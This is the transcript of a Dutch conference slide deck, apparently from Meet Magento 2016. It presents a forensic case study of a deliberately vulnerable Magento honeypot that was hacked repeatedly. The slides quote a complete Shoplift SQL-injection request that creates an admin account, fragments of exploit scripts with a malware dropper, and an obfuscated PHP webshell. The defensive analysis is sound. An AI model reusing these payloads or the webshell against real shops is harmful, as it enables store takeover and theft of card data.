Hackers traced - Meet Magento 2016

Post on 22-Jan-2018

1.060 views 1 download

Transcript of Hackers traced - Meet Magento 2016

Hackers traced, a case study

17× gehackt in 8 weken, we pakken ze terug!

ing. Tim Muller, developer @ Byte / MageReport.com

Hoe het begonOnze eigen shop werd - tot onze schande - gehackt via Shoplift

Tijd voor een experiment!Hoe komen hackers binnen?Wat doen ze met de shop?Wat houden we aan het eind over?

MethodeNauw volgen wat de hackersuitvoeren & wat voor impact ditheeft op de shop.

Precies het tegenovergestelde doen! We bouwen een "unmanaged VPS" metstandaard 1.9.0 installatie.

Stap 1: Strippen van HypernodeFilters op de bekende aanvalspatronenHeuristische lters op nieuwe aanvallenRate limits op bots en onbekende loginsDirectory listing aan voor bijv. /var/cache en .git bestanden

Stap 2: Aanpassen MagentoInstalleren standaard MagmiStandaard admin url met admin account 'admin123'

Stap 3: Toevoegen forensische maatregelenLegitiem verkeer blokkeren (zoekmachines)

Uitschakelen SSLTCPDUMP

IJk-kopie van database en lesRoot-protected Git repositoryRedirect uitgaande mailLogrotatie uitPeriodieke vergelijking van veranderingen (les & database)

ufw deny from 62.4.6.50/24

tcpdump -pni eth0 -s65535 -G 86400 -w 'trace_%u.pcap' port not 22

Stap 4: Analyseren van gedragRegelmatig kopiëren van bewijsDe accesslogs strippen van ruisScripts voor herproduceerbaar resultaat

Git noticatie

Database noticatie

Overzicht Admin-accountsDatum Naam Achternaam E-mail

2016-03-11 Byte Shop timwillem@magereport.com

2016-03-21 Firstname Lastname email@example.com

2016-03-25 Firstname Lastname email@example.com

2016-04-05 Firstname Lastname email@example.com

2016-04-17 Firstname Lastname c937ed8f1ebea18@telekpitekwashere.cok

2016-04-20 Firstname Lastname 410a9be9481e788@telekpitekwashere.cok

2016-04-24 Firstname Lastname 3af418a16597a7f@telekpitekwashere.cok

2016-04-30 Firstname Lastname 45637e7fb24cfc0@telekpitekwashere.cok

2016-05-04 Firstname Lastname 6e23512a4034d96@telekpitekwashere.cok

Admin accounts email@example.comAdmin gebruikers 'ghaz', 'sadmin' & 'temp_admin' 104.41.210.214 POST /index.php/admin/Cms_Wysiwyg/directive/index/

popularity[from]=0&popularity[to]=3&popularity[field_expr]=0); SET @SALT = 'rp'; SET @PASS = CONCAT(MD5(CONCAT( @SALT , 'asdf') ), CONCAT(':', @SALT )); SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL; INSERT INTO admin_user (firstname, lastname ,email ,username ,password ,created, lognum ,reload_acl_flag ,is_active ,extra ,rp_token ,rp_token_created_at) VALUES ('Firstname','Lastname','email@example.com', 'ghaz',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW()); INSERT INTO admin_role (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = 'ghaz'),'Firstname');

Admin account email@example.com argparse.ArgumentParser(description='Exploit for Magento Shoplift Vulnerability')

options.add_argument('­m', '­­malware', action='store_true', default=False, help='Install the PHP malware')

malwareDropper = "...INSERT INTO core_file_storage..." Assault = filt + adminMake + malwareDropper + commenter latent2 = latent2 + b64encode(Assault) r = requests.post(mageRoot, headers=headers, data='filter' : latent2, '___directive' : latent1, 'forwarded': '1', allow_redirects=True)

Database storage is een interessant doel voor hetuploaden van malware door /get.php

"It's a old-rod"README.md op Github:

"*oldrod is the shing rod tool from Pokemon. Inthe Gen I Pokemon games, all it could catch wasLvl.5 Magikarp *Although, at the time of writing,there are 65,377 vulnerable Magento installs andcounting^, They all seem like Lvl.5 Magikarp tome. All the Gyrados wisened up."

Admin account @telekpitekwashere.cokDezelfde SQL injection techniek

/* ++++++++++++++++++++++++++++++++++ ShopLift Exploiter Beta Version Author : FathurFreakz Use : php thisfile.php "Dork" YOGYAKARTA BLACK HAT Special Thanks to Nabiila Rizqi Khasanah +++++++++++++++++++++++++++++++++ */

Admin account @telekpitekwashere.cokShopLift Exploiter Beta Version

"Dork" is de target233 regels aan search engine crawl codeLeest /etc/local.xml (ook via Magmi)

Ons eigen admin account is overgenomen Op 5 april is het originele account overgenomen door 'majid'Via Shoplift admin account 'sadmin'Via MagPleasure 'File_System' aanpassen van /api.php

/api.php

<?php

$auth_pass = "6b5b0dd03c9c85725032ce5f3a0918ae"; //password: enzo function onESs($NTlWmu) $NTlWmu=gzinflate(base64_decode($NTlWmu)); for($i=0;$i<strlen($NTlWmu);$i++) $NTlWmu[$i] = chr(ord($NTlWmu[$i])­1); return $NTlWmu;

eval(onESs("LX33juPqcucDGPA7HBj...knmClb6l7///d/+9//6/w=="))

?>

/api.php e-mail

/api.php, wat doet het?Geeft 404 Not found als:

de user-agent een zoekmachine isde credentials niet goed zijnde GET requesten niet geauthenticeerd zijn

/api.php, wat doet het?

FilesMan

/api.php, wat heeft de hacker gedaan?/magmi/tests/imports/ImportSuite1Test.php bekeken (?)Upload en uitpakken van fortuneo.zip naar js/lib/js/lib/bloge/identication/cong.db1.php aangepastjs/lib/bloge/identication/cong.db2.php aangepast< $send = "mehdiga96@gmail.com"; > $send = "konate.drr@gmail.com";

6 verschillende IPs

/api.php, wat heeft de hacker gedaan?fortuneo.zip

Blacksmith Hackers Team <title>MrGHOST PRiv8 sHeLL</title>

<a href="https://facebook.com/blacksmith.hackers"> <img src="data:image/png;base64,iVBORw0KGgoAAAANSU.."></a>

8 weken later...

8 weken later...26749 brute force requests op /admin150 Shoplift aanvallen9 extra admin accounts365 extra les toegevoegd10 phishing pagina's

8 weken later...Achter de schermen heeft shop.byte.nl nu ook

WebshellsPhishing pagina'sProxies naar andere sites

En de schade(Franse) creditcardgegevens en bankgegevens gelektDe controle over de shop kwijtDe codebase is vervuild

Proberen ze zich te verbergen?Methode van verbergen

Obscure code (eval, base64 gzinate) ^ 2Random hashes in URLGoogle Crawlers en GET requesten worden tegengehoudenToont pas de lemanager wanneer credentials juist zijnMeta headers redirect naar externe websiteFake user-agents bijv. Google

Proberen ze zich te verbergen?Geen moeite doen

Admin accountsBrute forces op admin accountsOvernemen van de adminRondslingeren van bestanden

Geen nieuwe patches, toch gehackt!Mogelijk hebben de 'boeven' een nieuwe manier gevonden.Onderzoek de hack, deel of betrek ons (Byte/MageReport) erbij

Wat wij kunnen:

Wat wij kunnen betekenen

Omvang van de hack onderzoekenSecurity check op MageReport met een groot bereik vanshophoudersCommunicatie met Magento

Dank jullie wel!

Vragen?

Heb je een hack gevonden? Deel hem graag met code@magereport.com